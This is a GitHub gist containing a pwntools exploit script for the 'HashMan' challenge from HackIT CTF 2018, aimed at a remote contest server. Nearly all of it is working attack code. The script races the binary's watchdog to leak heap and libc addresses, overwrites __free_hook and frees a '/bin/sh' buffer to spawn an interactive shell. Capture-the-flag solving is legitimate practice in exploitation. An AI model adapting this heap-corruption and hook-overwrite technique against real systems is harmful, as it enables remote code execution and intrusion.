Created
September 10, 2018 17:30
-
-
Save hama7230/ad6e970d10edd8017409c09248eb64b2 to your computer and use it in GitHub Desktop.
HackIT CTF 2018 HashMan
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# libc = ELF('') | |
elf = ELF('./hash_man') | |
context(os='linux', arch=elf.arch) | |
# context(log_level='debug') # output verbose log | |
RHOST = "185.168.131.14" | |
RPORT = 6000 | |
LHOST = "127.0.0.1" | |
LPORT = 6000 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./hash_man'], gdbscript=gdbscript) | |
else: | |
conn = process(['./hash_man']) | |
# conn = process(['./hash_man'], env={'LD_PRELOAD': ''}) | |
if opt == 'a': gdb.attach(conn) | |
def create_sha(key, length, text, feed): | |
conn.sendlineafter('>>','1') | |
conn.sendafter('Enter key for it:', str(key)) | |
conn.sendafter('Enter length of plaintext:', str(length)) | |
conn.sendafter('Enter plaintext:', text) | |
conn.sendafter('Enter feedback:', feed) | |
def create_md5(): | |
conn.sendlineafter('>>','1') | |
conn.sendlineafter('>>','1') | |
def reset_clock(): | |
conn.sendlineafter('>>','10') | |
def depose(idx, key): | |
conn.sendlineafter('>>','7') | |
conn.sendafter('Which index do you want to free ? ', str(idx)+'\x00') | |
conn.sendafter('Enter the key: ', str(key)+'\x00') | |
def race(idx, key, data, feed): | |
conn.sendlineafter('>>','9') | |
conn.sendline(str(idx)) | |
conn.recvuntil('Our watchdog just prevented a collision') | |
conn.send('0\x00\x00\x00') | |
def race2(idx, key, data, feed): | |
conn.sendlineafter('>>','8') | |
conn.sendline(str(idx)) | |
conn.recvuntil('Our watchdog just prevented a collision') | |
conn.send('0\x00\x00\x00') | |
conn.recvuntil('Enter new data: ') | |
conn.sendline(data) | |
conn.sendafter('Enter new feedback: ', feed) | |
# exploit | |
log.info('Pwning') | |
# leak heap address | |
create_sha(200, 0x100, 'x'*0x100, 'y'*0x1) | |
create_sha(201, 0x10, 'x'*0x10, 'y'*0x1) | |
reset_clock() | |
time.sleep(5) # remote 5 | |
create_sha(200, 0x10, 'x'*0x10, 'y'*2) | |
race(2, 0, 'hoge', 'z'*0x14) | |
conn.recvuntil('Feedback: ') | |
conn.recv(8) | |
heap_base = u64(conn.recv(8)) - 0x260 - 0xf0 | |
dbg('heap_base') | |
depose(0, 200) | |
# leak libc address | |
create_sha(200, 0x10, 'x'*0x10, 'y'*0x1) | |
reset_clock() | |
time.sleep(5) # remote 5 | |
create_sha(200, 0x10, 'x'*0x10, 'y'*8+p64(heap_base+0x210)*2) | |
race(2, 0, 'hoge', 'z'*0x14) | |
conn.recvuntil('text: ') | |
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c4b78 | |
dbg('libc_base') | |
# write to __free_hook | |
depose(0, 200) | |
create_sha(200, 0x10, '/bin/sh\x00', 'y') | |
reset_clock() | |
time.sleep(4) # remote 5 | |
create_sha(200, 0x10, 'x'*0x10, 'y'*8+p64(libc_base+ 0x3c67a8)*2) | |
race2(2, 0, p64(libc_base + 0x45390), 'z'*0x10) | |
# trigger free() | |
depose(0, 200) | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment